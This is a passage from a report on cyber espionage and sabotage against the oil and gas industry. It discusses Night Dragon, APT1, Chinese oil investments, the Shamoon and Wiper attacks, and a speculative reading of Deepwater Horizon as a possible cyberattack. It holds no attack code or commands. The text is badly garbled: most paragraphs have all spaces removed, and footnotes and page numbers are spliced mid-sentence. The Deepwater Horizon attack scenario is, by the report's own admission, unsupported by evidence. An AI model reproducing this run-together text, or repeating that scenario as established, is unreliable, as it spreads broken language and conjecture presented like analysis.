atitleChina20on20the20 20  Index Mundi, (2012).
Country comparison  Oil  consumption  Top 10.
Retrieved from http://www.
indexmundi.com/g/r.aspx?v91t10 21  Johnson, C., (2010).
Oil exploration costs rocket as risks rise.
Retrieved from http://www.reuters.com/ article/2010/02/11/us-oil-exploration-risk-analysis-idUSTRE61A28X20100211 19 ChinasOilProduction ChinasOilProductioninThousandsofBarrelsperDay22 Asseeninthechartabove,Chinaexperiencedasignificantincreaseinoilproductionduring2009.Thisspikein productioncouldbeduetoinformationthatChinagainedfromUSfirmsthroughcyberespionageactions,suchasNight Dragon.
TheNightDragonattackswerebelievedtohavebeguncirca2007.AccordingtoKirk,informationtakenduring theseattacksincludesmarketintelligencereportsandinformationonoperationalproductionsystems.23  Similarly, the MandiantreportshowsthattheAPT1grouphasmonitoredMandiantsenergyindustrycustomersfromapproximately thebeginningof2009to2012.24Duringtheseattacks,APT1wouldexportterabytesofdatafromthevictimstoChina.
Intandemwiththeserevelations,Chinasalsoaggressivelypursuedoilsupplycontractsduring2009.25Duringthistime majorChinesestateoilcompaniesacquiredholdingsin18differentcountries.
Chinaisdeterminedtotakeonoilandgas infrastructuredevelopmentandtoacquireoilindustryassets.26 AlthoughthereisevidencethatChinahasbeenconductingcyberespionageactivitiesagainstoilindustrytargets asfarbackas2007,thereisonlytrivialgrowthuntil2009.Thiscouldbearesultofthetimeandrecoursecommitment requiredtoprocessthedatathatwasacquired.
Asmentioned,boththeNightDragonandAPT1attacksstoleanenor- mousamountofdatafromEnglishspeakingcompanies.
ItisnecessaryforEnglish-fluentoperatorstosiftthroughthis dataandextractactionableinformationtoreport.
Thisinformationwouldalsoneedtobeprovidedtoexpertsinthe fieldwhocouldrecognizetheitsvale,andthatprocesswouldhavetobedonediscreetlysoasnottoarousesuspicions.
Thiswouldtaketime.
TheMandiantreportcommentsonthefactthattherearelimitedEnglish-fluentoperatorsdirectly involvedinthetechnicalendofAPT1,whichwouldsignificantlyhinderprogress.27Consideringthesefactorsandthe timeframeforgrowthpresentedabove,itisconceivablethattheinformationandstrategyforitsusewouldnotbeavail- ableuntil2009.Atthispoint,Chinacouldacttoincreasetheoutputoftheholdingsthattheycurrentlyowned.
Also,the informationgainedfrommarketintelligencereportsandpossiblyexplorationreportscouldguidethestatecompanies indecidingwhichnewholdingstopurchaseduringthistimeperiod.
Thenewholdingswouldallowforincreasedoutput overall.
ChinasInvestments Chinasfervorforoilacquisitionhasnotbeenlimitedtoaggressiveincreasesinholdingsandcontracts.
Theseac- tivitiesarelikelyonlyonepieceofaglobalstrategytosecureChinasfutureoilrequirements,includingreservesthatmay notbeproductivetodayorintheimmediatefuture.
Thisoverarchingstrategyhasapparentlyledtoapatternofquiet investment,whichmaybeadirectcauseforconcerninAmerica.
AnarticleappearingintheAssociatedPressdiscusses theseChineseinvestmentsinVenezuela,thecountrywiththelargestprovenoilreservesasof2011,andthroughoutthe CaribbeanandSouthAmerica.
ThearticlenotesthatwhenVenezuelaseizedbillionsofdollarsinassetsfromExxonMo- 22  U.S. Energy Information Administration.
(2013, February 12).
International Energy Statistics [Data file].
Retrieved from http://www.eia.gov/cfapps/ipdbproject/iedindex3.cfm?tid5pid53aid1cidCH,syi d2006eyid2012unitTBPD 23  Kirk, J.
(2011, February 10).
Night dragon attacks from china strike energy companies.
Retrieved from http://www.networkworld.com/news/2011/021011-night-dragon-attacks-from-china.html 24  Mandiant.
(
2013, February 18).
APT1: Exposing one of Chinas cyber espionage units.
Retrieved from http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf 25  Hayward, D.L.L.
(2009, June 18).
Chinas oil supply dependence.
Journal of Energy Security.
Retrieved from: http://www.ensec.org/index.php?optioncom_contentviewarticleid197:chinas-oil-supply-dependen cecatid96:contentItemid345 26  Ibid.
27  Mandiant.
(
2013, February 18).
APT1: Exposing one of Chinas cyber espionage units.
Retrieved from http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf 20 bilandotherforeigncompanies,Chinesestatebanksandinvestorsdidntblink.
Overthepastfiveyearstheyhaveloaned Venezuelamorethan35billion.
TheyhavesimilarlyprovidedaidtocountrieslikeEcuador,anothercountrywithinthe top20ofprovenoilreserves.
InsomecasesitappearsthattheChinesearemakingloansthatthecountrieswilllikelybe incapableofrepaying,placingthemsquarelywithinChinascontrol.
Manyofthedealsincludedrepaymentinoiland naturalgasandbillionsofdollarshavebeenloaneddirectlytoenergycompaniesinRussiaandTurkmenistan,bothof whichhavebeentargetedincyberespionagecampaignsandareinthetop5forprovennaturalgasreserves.
AlthoughtheIEAhaspredictedthatAmericaismovingtowardsenergyindependenceandispoisedtobecome thenumberoneoilexporterby2017,theloansarebreedingclosenesswithandrelianceonChinabycountriesinclose proximitytotheUS.ThiscouldallowfortheChinesetoweakenAmericaninfluenceintheregionandcreateagitation againsttheUSorbetweenothercountrieswithintheregioninordertodistracttheUSfromitsgoalsinotherareasstra- tegictotheChinese.
ThesedealsalsoplaceChinainthesupplychainforborrowersprojectswhereChinahasinsisted onChinesecompaniesbeinginvolvedasastipulationoftheloan.
Theseloanshavenotrequiredanyeconomicreforms toaccompanythem,meaningthatcountrieswhichcouldnotsecurealoanfromtheIMFduetopoorfinancialdecisions maycontinuetoflounderinspiteofaid,perhapsevenmoresobecauseofit.
Intheworstcasescenario,thesecountries becomeunstable.
WhilethismaycauseissuestotheChineseinsomelogisticalcapacities,itwouldalsoservetodivert someofAmericasattention,makingthesituationapalatableoutcomeforChina.
Other actors Ananalysisoftheseeventswouldberemisswithoutexploringanyotherpossibleattribution.
Thoughunlikely, itispossiblethattherewereotheractorsinvolved.
AspointedoutbyEugeneKasperskyinhiscriticismoftheShadyRAT report,someofthetoolsandtechniquesaregenericenoughtonotlendthemselvestoattributiontoaparticularentity.
EventheonesthatareofChineseorigindonotofthemselvesimplicatetheChinesegovernment,onlyanactorfamiliar withhowthetoolworksorminimallytrainedinMandarin.
Alargeportionofthesetoolswerefreelyavailableonunder- groundChinesehackingsites.
Chinesehackingcollectivesorcorporationsmayhavebeenindependentlyinvolved.
How- ever,duetothesuspicionsvoicedintheleakeddiplomaticcablessuggestingPLAinvolvement28andMandiantsresearch onthetopicindicatingthesame29,itishighlyunlikelythattheChinesegovernmentwasnotinvolvedwhatsoever.
These sources,andthetimeframeinwhichtheattacksoccurred--betweenroughly9amand5pmconsistentlyoveraprotract- edperiodoftime3031--isindicativeofaformalizationoftheactivity.
Thisisfurtherevidencedbytheresourcesrequired tocarryouttheattackandtheChinesegovernmentsgraspsoncensorshipoftheircitizensthroughtechnicalcontrols.
Terabytesofdatainfiltratingthecountryisunlikelytohavebeenmissed,particularlyoverthecourseofadecadeof activity.
IfChinahadbeeninvolvedinanycapacityincyberespionageattacksandthishadbeendiscoveredbyanother entity,saidentitymighthaveleveragedthisknowledgetocolludewiththemeitherthroughcoercion,cooperation, orclandestinelywithouttheChinesegovernmentknowing.
Thoughthismayseemfarfetched,areportreleasedbya Luxemburgsecurityfirmdetailshow,inthewakeofMandiantsAPT1report,theydecidedtoengageinanintelligence gatheringoperationontheAPTgroupsoperatingoutofChina.
ByscanningChineseIPrangesforC2serversknowntobe usedintheAPT1attacksandexploitingweaknessesintheattackersC2infrastructure,theywereabletoaccess,monitor, andcontroltheAPTinfrastructurewithouttheadversarysknowledge.
BloombergalsohintedatthepossibilityofAmeri- cansecurityfirmsactinginasimilarwaywhentheyexploit[ed]aholeinthehackerssecurityloggingtheintruders everymoveastheycreptintonetworks...KnowingthattheChinesewereactivelyengagedinsuchoperationsandlikely turningablindeyetoanyinfiltrationofdata,anotheractoroperatingthroughChinaandattemptingtoincriminateChina couldhaveengagedincyberespionageaswell.
Thisistrulyastretchoftheimagination,andthereisnoevidencewhat- soevertosupportthistheory.
ThemostlikelycaseforanyattributioninvolvestheChinesegovernmentinsomecapacity.
28  Glanz, J.  Markoff, J.
(Dec 4 2010).
Vast Hacking by a China Fearful of the Web.
Retrieved from http:// www.nytimes.com/2010/12/05/world/asia/05wikileaks-china.html?pagewantedall_r0 29  Mandiant.
(
Feb, 2013).
APT1: Exposing One of Chinas Cyber Espionage Units.
Retrieved from http:// www.mandiant.com/APT1 30  Ibid.
31  McAfee Foundstone Professional Services and McAfee Labs.
(
Feb 10, 2011).
Global Energy Cyberat- tacks: Night Dragon.
Retrieved from http://www.mcafee.com/us/resources/white-papers/wp-global-energy- cyberattacks-night-dragon.pdf 21 Significance Going Forward ThemostimportanttakeawayfromtheseincidentsisthesignificancetheyholdtothefutureoftheOilGas industry.
Inexorably,OilandGasisintertwinedwiththeCyberdomain,andwillonlycontinuetobecomemoresoasthe timeprogresses.
Theincreasedrelianceontechnologymeansthatmoreandmoredataandcontrolwillbeaccessibleto theattackersinthefuture.
Alargecontingentoftheattacksreliedonsocialengineeringandspearphishingasapoint ofentry,thoughthereisashifttowardwateringholeattacks.
Thisissignificantbecauseevenastechnicalcontrolsget better,unwittingemployeesandtheirbehaviorwillcontinuetobeafocalpointintargetedattacks.
AutomationviaSCADA/ICShasbeenanintegralpartoftheOilindustryspastandwillbeevenmoresointhefu- ture.
AttacksliketheTelventattackheraldaninsidiousturnofeventsforSCADAwithinOilGas.
Theattackersseemed intentonstealingSCADAsoftware,butitisconceivablethattheycouldhavetakensuchanopportunitytoembedtheir owncodewithinit,providingacapabilitytomanipulatelargeswathsofNorthAmericanpipelineatwill.
Thisisnot meanttobealarmist,butratherconsidersthenextevolutionofattack.
LeveragingmaliciousSCADAsoftwaretoachieve akineticoutcomeisnotthebaselinegoingforward,butitiswellwithintherealmofpossibility.
Thenatureofacapabil- itylikethismeansthatitcanonlybeleveragedtocatastrophiceffectonce,sothepossibilityofanentityusingitoutside ofsustainedorardentconflictislow.
Howeverusingthisonamicro-scale,anddegradingserviceorqualityofservice throughmanipulationofmalicioussoftwareonthePLCsorHMIscouldbemoreviableinapeacetimesetting,andless noticeable.
Thistypeofactivitycouldbeusedattheheightofnegotiationsordisputestoputanadversaryinacompro- misingposition,orsimplydistractthem.
TheCyber-warfaredoctrineoflargenation-stateslikeChinaandRussiathathaveahugestakeintheOil GasIndustriesisoneofperpetualconflict.
TimothyThomasdiscussesthisinhisbooksRecastingtheRedStarandThe DragonsQuantumLeap.
Theideaofanactivedefenseandkeepingpotentialcompetitorsoffbalanceistheposture goingforward.
Theconceptofpeacebeingatimewithoutconflictisrapidlydisappearing.
Asglobalizationhasbecome thestatusquoandglobaleconomiesbecomeevermoreentangled,threatofalarge-scalekineticconfrontationbetween toptiereconomicpowerhousesisnearlystrategicallyunviable.
Instead,bothstateandnon-stateactorswilluseconstant conflictintheCyberrealmasamethodforaccruingresourcesandexercisingcontrol.
Whilecyberconflictoftenbrings tomindtheideaofSCADAinitiatedpipelineexplosions,thetheftofintellectualpropertyandbusinesscommunications isfarmorelikelytocontinue.
Thistypeoflowintensityconflictiscost-effectiveandpoliticallysustainableinanenviron- mentwheredirectattributionisattimesdifficult.
Theideaofaconstantorlongtermallyorstrategicpartnerisno longervalidcoordinationwillbelargelyissuespecific,andonlytotheextentrequiredtoachieveanend.
Whilecoor- dinatingononetopicnationswillbeinconflictonanother.
Thisisnotinanywayarevolutionaryornewideahowever itisbecomingmoreandmorerelevanttosalientindustriesoperatingwithintheirownnationstateandabroadasthey becomefarmoreaccessibleandtargetableinthistypeofconflict.
Non-stateactorswillplayahugeroleinfuturecyberconflictwithintheoilandgasindustry.
TheNorwayattack whichcoincidedwithameetingbyastate-backedOilGascompanymaysuggestthattheyalreadyareplayingarole.
CertainlyAntivirusIncidentResponsecompaniesareplayingaroleasnon-stateactorsbyreleasingthesereports.
But asidefromcooperationwithSateactors,non-stateactorsmayoperateindependentlyagainstothernon-stateactorsin pursuitofcompetitiveadvantageorsabotage.
Hackercollectiveslikeanonymouscouldhaveanout-sizedimpactifmore highlyorganized,andtheattackstheyhavealreadycarriedoutcouldbecomemoresevereinsteadofsimplyreleasing emailaddresses,theycouldreleasebiddata,orattemptsomethingmoredestructiveakintoaShamoontypeattack.
ThereleaseofreportsonAPTisinawayitsownformofcyberconflicttherhetoricofthesereportsisaninfor- mationinfluenceoperation,bothtargetedatpotentialcustomersandatadversaries.
Thesereportsalsoallowadversar- iestoseehowtheyweredetectedandcorrectmistakesgoingforward.
Itislikelythatfutureattackswilllackthetypesof unprofessionalmistakesmadeduringthesecampaigns.
Theembeddingofpersonalsignatures(alaUglyGorilla)orthe useofpasswordslikezw.chinawilldiminishsignificantly.
Ifanattackerwishedtobemoreanonymous,itwouldstart totransitiontoopen-sourceandgenerictoolsexclusivelytoolswhicharecommonenoughthattheydonotprovide significantattribution.
ToolsliketheMetasploitframeworkprovideahighdegreeofextensibilitywithoutofferinga 22 significantamountinthewayofattributionbytoolchoice.
Ifnotatransitionlikethis,thenusingtoolsstolenfromother attackersorwritteninotherlanguageswouldcomplicateattribution.
ThemovewithintheInformationTechnologyworld towardmoreforensicallyresistanttechnologiessuchasSSDsandCloudServiceinfrastructureswhichmakeattribution andlegaljurisdictionmuchmoreconvolutedwillcontinuetobeacatalystforfutureattacksalongsideservicesalreadyin uselikeDynamicDNS.
ThesecyberespionageattacksarelikelythenewlyestablishedbaselineforfuturecyberconflictwithintheOil GasIndustry.
Attacksofthisnatureandmagnitudewillcontinuetooriginatefromplaceswhichdonothavelawsagainst itorarecomplicit,includingChinawhichhasaneedtosecureoildominanceinthefuture.
However,increasinginterna- tionalpressurewillnecessitatemorecovertaction,withattackersdispersingtheiroperatorsorproxiesthroughoutlarge geographicareas.
Non-stateactorswilllikelypresentAPTthreatsinthefuture,includingState-backedandindependent competitors.
23 Sabotage Middle East, 2012 Anotherseriesofeventsmaybeconnectedaswell,andwhiletheybearnoimmediatelyapparentrelationship, closerinspectionissuggestiveofthepossibilityofanotherunderlyingandongoingconflict.
Tounderstandthecontextof theexchange,anon-oil-relatedcybereventmustbebrieflydiscussed.
Arelativelyunprecedentedcyber-attackcameto lightin2010whentheStuxnetvirushittheuraniumenrichmentcentrifugesinIran.
Iranbelievestheattackwascon- ductedbyIsraelortheUnitedStates.
Thisattackhadtargetedtheinformationnetworksofoffshoreplatformshowever theyreportedthattheywereabletodefendagainsttheattack.32IranmayhavethoughtitwasIsraelbecausetheyhad threatenedtotakemilitaryactionifthesanctionsonTehransbankingandoilsectorsdidnotstopIranfromcontinu- ingtheirnuclearprogram.
TheattackstargetedIransinfrastructureandcommunicationscompanies,whichslowedthe InternetinIran.
IsraelandtheUnitedStateshavedeniedbeingapartofthisattack.
ThenInAprilof2012,Iranwasagainthetargetofacyber-attack.
TheIslamicrepublicreportedthatacomputer viruswasdetectedinsidethecontrolsystemsofKhargIsland,whichcontrolsIranscrudeoilexports.33Thisvirusbeganto attackseveralofthemainPersianGulfoilterminalsinIran,whichforcedtheIranianofficialstodisconnectthemfromthe Internettoavoidspreadingthevirus.34Thisvirus,knownasWiper,successfullyerasedinformationfromharddisksatthe OilMinistrysheadquartersinTehran.35Theheadquartershadapparentlybeentheinitialtargetofthevirus.
OilMinistry officialsreportedthattheinternationalsellingdivisionhadnotbeeninfected,butitmanysecurityvulnerabilitieswere exposed.
Iranisoneoftheworldslargestoilproducersandanattackcouldaffectthemarket,andraiseoilpricesglobal- ly.36 AswiththeStuxnetworm,IranblamedIsraelandtheUnitedStatesforthespreadofWiper.
Iranianofficialsbe- lievetheyweretargetedbecauseoftheirgrowingnuclearprogram.37OtheraffectedorganizationsincludetheNational IranianOilProcessingandDistributionCompany,NationalIranianGasCompany,IranianOffshoreOilCompany,ParsOil andGas,andothercompaniescontrolledbytheNationalIranianOilCompany.38Thedestructionofthisdatadoesnt providemuchinthewayofdirectmonetarygainforanycriminalelements.
Therealadvantagegainedbyunleashing WiperistoputpressureonIranbycausingeconomiclossandremindingthemthattheyarevulnerable.
Thepresident oftheTehranWorldTradeCenter,MohammadRezaSabzalipour,believesthecyber-attackwasindeedadirectmessage.
TheaimwastoincreasepressuresothatIranwillcompromiseintheupcomingnucleartalksonMay23,2012.Helater states,Weareinabloodlesswar.
Ifthetalksfail,Irancanexpectmuchmoreofthis39.
32  Erdbrink, T., (2012, April 23).
Facing Cyberattack, Iranian Officials Disconnect Some Oil Terminals From Internet.
The New York Times.
Retrieved from http://www.nytimes.com/2012/04/24/world/middleeast/ iranian-oil-sites-go-offline-amid-cyberattack.html?_r0 33  Reuters.
,(2012,October08).CyberattackerstargetIranianoilplatforms:official.
Reuters.
Retrievedfrom http://www.reuters.com/article/2012/10/08/us-iran-cyber-idUSBRE8970B820121008 34  Ibid 35  Erdbrink, T., (2012, April 23).
Facing Cyberattack, Iranian Officials Disconnect Some Oil Terminals From Internet.
The New York Times.
Retrieved from http://www.nytimes.com/2012/04/24/world/middleeast/ iranian-oil-sites-go-offline-amid-cyberattack.html?_r0 36  Ibid 37  Ibid 38  Ibid 39  Ibid 24 AnoilembargoinconcertwithothereconomicsanctionsbytheUnitedStatesandEUwasannouncedinlate 2011inanefforttodiscourageanyfurtherIraniannuclearactivity.
InMarchof2012,theObamaadministrationan- nouncedthatthemarketcouldwithstandtheembargoofIranianoil,andraisedUS-Irantensionsovertheissue40.Saudi ArabiahadalsoindicatedthatitwouldboostoilexportstotheUSandabroadtocompensateforthevoidthatwouldbe leftbythesanctionsonIran41.Asthefifthlargestoilproducerintheworld,theIranianoilindustryaccountsforabout 20percentofIransGDP42.BoththeembargoandthevirusrepresentseriousanddirectconcernsfortheIraniangovern- ment.
TheninAugustof2012,onlyfourmonthsaftertheembargo,avirusnamedShamoonstruckSaudiArabianoil giantAramco.43TheviruswastriggeredonaMuslimholidaywhenmostofthecompanysemployeeswereabsentfrom work.
ShamoonwasdesignedtoreplacedataonharddriveswithapictureofaburningAmericanflagandreportthead- dressofthecomputerbacktoaseparatecomputerinsidethecompanynetwork.44Thisispotentiallysignificantbecause Aramcoistheworldslargestproducerofoil,andwasoriginallyajointeffortwiththeUnitedStates(ArabianAmerican OilCompany).45,46Additionally,ShamooncontainedafunctioncalledWiperwhichwasresponsibleforthedeletingof files.
ThenameWiperandthesharedfunctionalityofthetwoaresomewhatsuggestive.
Interestingly,apreviously unheardofhacktivistgroupidentifyingthemselvesasTheCuttingSwordofJusticetookcreditfortheattackandnot anationstate.
TheyclaimthevirushasgiventhemaccesstodocumentsonAramcoscomputers,butnonehavebeen publishedyet.47Theattackwasbelievedtohavebeenassistedbyaninsideratthecompany.
Anothernoteofsignifi- canceaboutShamoonisthatthetextArabianGulfwasfoundinthecodewhichispertinentbecauseIranhaszealously guardedthetitleoftheregionasthePersianGulf.48 AlthoughWiperandShamoonshareafewcommoncharacteristics,theyaresignificantlydifferent.
Bothviruseshave beenanalyzedbyKasperskyLabswhohasconcludedthatalthoughShamooncontainsawiperfunctionthatisdesigned tooverwritedata,itisnotaswell-designedasWiperandnotnearasefficient.49Thecarethatwastakenbywhoever madeWipertoinsureitdidasmuchdamageaspossibleintheshortestamountoftimeiswhatdifferentiatesitfrom Shamoonswipingfeature.
Sincewipingadiskwithhundredsofgigabytesofstoragecantakeanextremelylongtime, Wiperwasdesignedtotargetfileswithcertainextensionsorincertainfolderstodoasmuchirreparabledamageasfast aspossible.
KasperskyclaimsthatShamoonwasmerelyacopycatvirusthatwastheworkofscriptkiddiesinspiredby thestory.50TheyalsoclaimthatShamoonwasprobablytheworkofanon-stategroupandthatWiperwasmostlikely 40  Mathews, C., (2012 Mar.
30).
Obama moves forward with Iran sanctions despite oil price spike.
Re- trieved from http://blogs.wsj.com/corruption-currents/2012/03/30/obama-moves-forward-with-iran-sanctions- despite-oil-price-spike/ 41  Flintoff, C., (2012).
Sanctions may squeeze Iranand raise oil prices.
NPR.
Retrieved from http://www.
npr.org/2012/06/30/155993909/sanctions-may-squeeze-iran-and-raise-oil-prices 42 Katzman,K.,(2012Mar.28).Iransanctions.
Congressional Research Service Report for Congress.
Re- trieved from http://fpc.state.gov/documents/organization/187388.pdf 43  Perlroth, N., (2012, Oct. 23).
In cyberattack on Saudi firm, U.S. sees Iran firing back.
The New York Times.
Retrieved from http://www.nytimes.com/2012/10/24/business/global/cyberattack-on-saudi-oil-firm- disquiets-us.html?pagewantedall 44  Ibid 45  Forbes (2012).
The worlds biggest oil companies.
Retrieved from http://www.forbes.com/pictures/ mef45ggld/1-saudi-aramco-12-5-million-barrels-per-day/ 46  Encylopedia Britannica, (2013).
Aramco.
Encyclopedia Britannica.
Retrieved from http://www.britan- nica.com/EBchecked/topic/31594/Aramco 47  Reuters, (2012, Dec. 9).
Aramco says cyberattack was aimed at production.
The New York Times.
Re- trieved from http://www.nytimes.com/2012/12/10/business/global/saudi-aramco-says-hackers-took-aim-at-its- production.html 48  Perlroth, N., (2012, Oct. 23).
In cyberattack on Saudi firm, U.S. sees Iran firing back.
The New York Times.
Retrieved from http://www.nytimes.com/2012/10/24/business/global/cyberattack-on-saudi-oil-firm- disquiets-us.html?pagewantedall 49  GReAT-Kaspersky Labs., (
2012, Aug. 16).
Shamoon the Wiper  Copycats at Work.
Securelist.
Retrieved from https://www.securelist.com/en/blog/208193786/Shamoon_the_Wiper_Copycats_at_Work 50  Ibid 25 theproductofanation-state.51EventhoughShamoonwasnotonthesamelevelasWiper,itisstillanimpressivepiece ofmalwarethatwasabletododamagetoimportantsystems.
Whetheritwastheunimpressiveworkofanation-state ortheworkofaskilledgroupofnon-stateactors,itmadeanimpactandhadaneffectonSaudiAramco.
Theseinsightsraisethequestionofwhetherornotthiswasanisolatedattackbyanon-stateactor,orwhetheritwas oneinanongoingseriesofsalvosbetweentheIranandUScybercommunities.
Irancertainlypossessedthemotive retributionforsanctionsleviedagainstit,andthecooperationbySaudiArabia,aSunniMuslimnationwhichhasbeenat oddswithShiiteIranbefore.
Typically,however,inanactofretributiontheattackerinvitesattributionwhichIrandidnot.
Also,despitecausingdestructiveactiontothedataonthecomputers,thevirusdidnotattacktheactualcontrolsystems andasaresultdidnotmanagetodamageoilproduction.
TherelativecrudenessofthecodeanduseofthetermAra- bianGulfinconcertwiththeinsiderknowledgeofthehacktivistgroupTheCuttingSwordofJusticeandtheuseofan Aramcoinsidertofacilitatetheattackcouldsuggestthatitwassimplyasingularattackbyanon-stateactor.
Iransdoctrineisoneofasymmetricandproxywarfare.
IthasbeensuggestedthatIranusedunofficialhackergroups suchastheIranianCyberArmytobothdefendagainstandengageinattacks52.ItispossiblethatArabianGulfwas aredherringintendedtofurtherobscuretheoriginofShamoon.53UsingaproxytolaunchanattackalignswithIrans strategicculturebuttheexactauthorisnotknown.
ItispossiblethatIrandidnotwishtoengageindirectconflict,but intendedtomakethesanctionslessviablebyensuringAramcowouldbeunabletosupplythenecessaryvolumeofoil.
If thiswerethecasethentheattackwouldshowasevereflawinIransunderstandingoftheoilproductionsystemsbynot attackingthecontrolsystems,instead,whichshouldbeunlikelyduetoIransownexpertiseinoilproductionoritmay havebeenintendedtosendamessageadvertisingthecapabilitywhilenotcrossingadirectlinebyinflictingsignificant infrastructuredamage.
This,however,ispurespeculationandnotempiricallyderivedanalysis.
IfIrandidinfactorches- tratetheShamoonattack,itwouldsuggestthattheseriesofattacksonIraniancriticalinfrastructurewerefollowedby retaliationontheAmericanoilsupplychain.
Thiswouldindicateanongoingandescalatingconflictthatshouldbecause forconcern.
51  Ibid 52  Rezvaniyeh, F., (2010, Feb. 26) Pulling the strings of the net: Irans Cyber Army.
PBS.
Retrieved from http://www.pbs.org/wgbh/pages/frontline/tehranbureau/2010/02/pulling-the-strings-of-the-net-irans-cyber- army.html 53  Perlroth, N., (2012, Oct. 23).
In cyberattack on Saudi firm, U.S. sees Iran firing back.
The New York Times.
Retrieved from http://www.nytimes.com/2012/10/24/business/global/cyberattack-on-saudi-oil-firm- disquiets-us.html?pagewantedall 26 An Incident of Note Oneincidentwhichappearsonthelistissingularinthatunliketheothernotedeventsitdoesnotappeartobe theresultofadirectcyber-attack:theDeepwaterHorizonoilspill.
OnApril20th,theculminationofsevereneglectof safetyprotocolsandaslewofdesignandimplementationflawsincurredtheworstenvironmentaldisasterinUShis- tory.54WhiledrillingtheMacondowellintheGulfofMexico,theDeepwaterHorizonoilrighadablowoutinwhichan uncontrolledmixtureofmudandgaswasreleasedafterfailureofpressurecontrolsystems.
Thegasspreadacrosstherig andisbelievedtohavefirstignitedintheengineroom,initiatingseveralexplosionsandcausingtherigtoeventuallybe engulfedinflamesandsink.55ThereasontheDeepwaterHorizoneventappearsonalistofcyber-relatedoilindustry eventsisbecause,regardlessofthecause,theincidenthadseveralfailuresinnetworkedcontrolandsafetysystems whichcouldhavepreventedthecatastrophefromoccurringaftertheblowout.
Theformerchiefelectronicstechnicianontherig,MichaelWilliams,notedduringtestimonybeforeagovern- mentpanelthatthealarmswhichwouldnotifythecrewofagassituationwasplacedinaninhibitedmodeforover ayearbecausetheydidnotwantpeoplewokeupat3oclockinthemorningduetofalsealarms[sic].56Additionally, othermonitoringandcontrolsystemsintermittentlyfroze,andafireandalarmsystemwassettooverrideactive.
De- spiteaseriesoffourtestsconductedinthehoursbeforetheincidenttoascertainthattheintegrityofthewell,noalarms weresoundedorreporteddirectlybeforetheincident.
Thesecontrolissuessolidifytheideathattherewasacyber- componenttothecatastrophe.
Whentakenintothecontextofothereventswhichoccurinandaroundthesametime period,itbecomesclearthatthoughthereisnodirectevidencepointingtoamalignthreatactorsinvolvement,suchan attackistechnicallyviable.
Itisincrediblyunlikelythatanystateornon-stateactorwasinvolvedinanattackontheDeepwaterHorizon howeverthecircumstancesprecludetheexclusionofthispossibility,remotethoughitmaybe.
TheBlowoutPreventer (BOP)wasrecoveredandforensicallyexamined,butmostotherevidencecannotbeexaminedithaseitherceasedto existorisinaccessible.
Thedestructivenatureoftheaccidentandtheapparentcorporateneglectmakescollectingany cyber-forensicevidencelinkingtheincidenttoanactorinfeasible.
Mostevidenceisdestroyed,unusable,orlargelyinac- cessibleatthebottomoftheocean.
Itislikelythatanycontrolsystemauditreportsorlogscapableofprovidinginsight eitherwouldnothaveattributedanomalousactivitytoanunidentifiedAPT,orwouldnotbecomprehensiveenoughto provideevidencethatcouldretroactivelysuggestanAPT.Theauditlogsthemselvesaredubiousduetoallegationsthat TransoceanandBPwerehastilyrushingproceduresbecauseoflargeschedulingoverruns.57Furtherallegationshave surfacedagainstBPemployeesandcontractorsaccusingthemofdestroyingevidenceinthewakeofthedisaster.58Bear- inginmindthatthereisnodirectorforensicallysoundevidenceandthatonlycircumstantialevidenceisavailable,the vignettewhichwillnowbeexploredistheusecaseoftheDeepwaterHorizonincidentasacyber-attack.
SeveraleventsthathaveoccurredbothbeforeandsincetheBPoilspillsuggestthatanattackwouldbetechni- callyfeasible.
AccordingtoanarticleattributedtoDorothyE.Denning,aprofessorofcomputerscienceatGeorgetown University,in1992adisgruntledformeremployeeofChevronintentionallydisabledalarmsystemsatChevronsoilrefin- eriesfor10hoursbyhackingintocomputersinNewYorkandSanJos,California.59Whilethisonlyaffectedon-shore refineriesandisdatedenoughthattechnicalcontrolsmayhaveimprovedsincethen,anotherattackin2009showedthat controlsystemsonoff-shorerigsmaybealsodisabledremotely.
MarioAzar,adisgruntledcontractorformerlyworking forPacificEnergyResources,sabotagedanoffshoreoilrigcomputersystemthatPERusedtocommunicatebetweenits 54  (DavidBarstow,2010) 55  (HowtheRigCrewRespondedtotheBlowout,2010) 56  (InvestigationofDeepwarerHorizonExplosion,MikeWilliams,2010) 57  (Drilling,2011) 58  (Affairs,2012) 59  (Denning,2000) 27 officesanditsoilplatforms.
ThecomputersystemalsoservedaleakdetectionfunctionforPER.60Thesystemswere disabledfromMay8thuntilJune29thbeforeitwasnoticed.61AndasrecentlyasFebruary23rd2013anarticleinthe HustonChroniclestatedthatMalicioussoftwareunintentionallydownloadedbyoffshoreoilworkershasincapacitated computernetworksonsomerigsandplatforms,exposinggapsinsecuritythatcouldposeseriousriskstopeopleandthe environment.62 Thesearticleswouldseemtostatethatacyber-attackonanoff-shorerigisnotonlypossible,butareality.
ComplicatedcontrolsystemattackssuchasStuxnethavealreadyproventhateveninconditionswherenetworkaccess isunavailable,intelligentvirusescanstillperformapredeterminedfunctionatadesignatedtime.
Byextensionofthese occurances,itmaybeconcludedthatacapableattackercouldmanipulatesafetycontrolsystemsofanoilrigfromshore, anddosothroughasophisticatedcontrolsystemviruswhichcanoperateevenwhennotincontactwithaC2server.
IfitisassumedthatDeepwaterHorizonwasanattack,itgivesrisetothequestionofattribution.
Inorderto attributeanattackforwhichthereisnodirectorforensicevidence,onemustinsteadturntopoliticalattribution.
This includesconsideringwhichactorshadthemotive,means,andtheopportunitytoperformtheattack.
Motivescanin partbedivinedthroughobservationofthedirectandindirectoutcomesoftheeventanditsbeneficiaries.
Afternarrow- ingthescopeofactors,onemaythenexaminethepolicies,strategicculture,operations,andtacticsofrelevantactors againstdifferentdimensionsoftheeventtorevealalignmentorcorrelation.
ImmediateanddirectimpactsoftheDeepwaterHorizonoilspillwereasfollows: AmoratoriumonanydrillingintheGulfofMexicofortheensuing6months TheMacondowellbecomingunusable,atleastintheimmediate EcologicaldisasterintheUnitedStatesandotherGoMadjacentcountries Heavypoliticaldamage,fines,andchargesleviedagainstbothBPandcontractorssuchasTransocean, Ltd. BPhasbeenbyfarthebiggestfigureattachedtotheincident.
AsofMarch2013BPhasbeenforcedtospendor provision40BillionasaresultofDeepwaterHorizon.63Toputthisinperspective,BPscombinedprofitsfortheyearsof 2010-2012amounttoabout34.6billion.64 Theseimpactsinandofthemselvesarenotable,buttheyalsocreatedarippleeffectofindirectconsequencesas well.
Theseindirectoutcomesincludethepossiblefluctuationinoilandgaspricesandpotentialforgeopoliticalfallout fromtheecologicaldisaster.
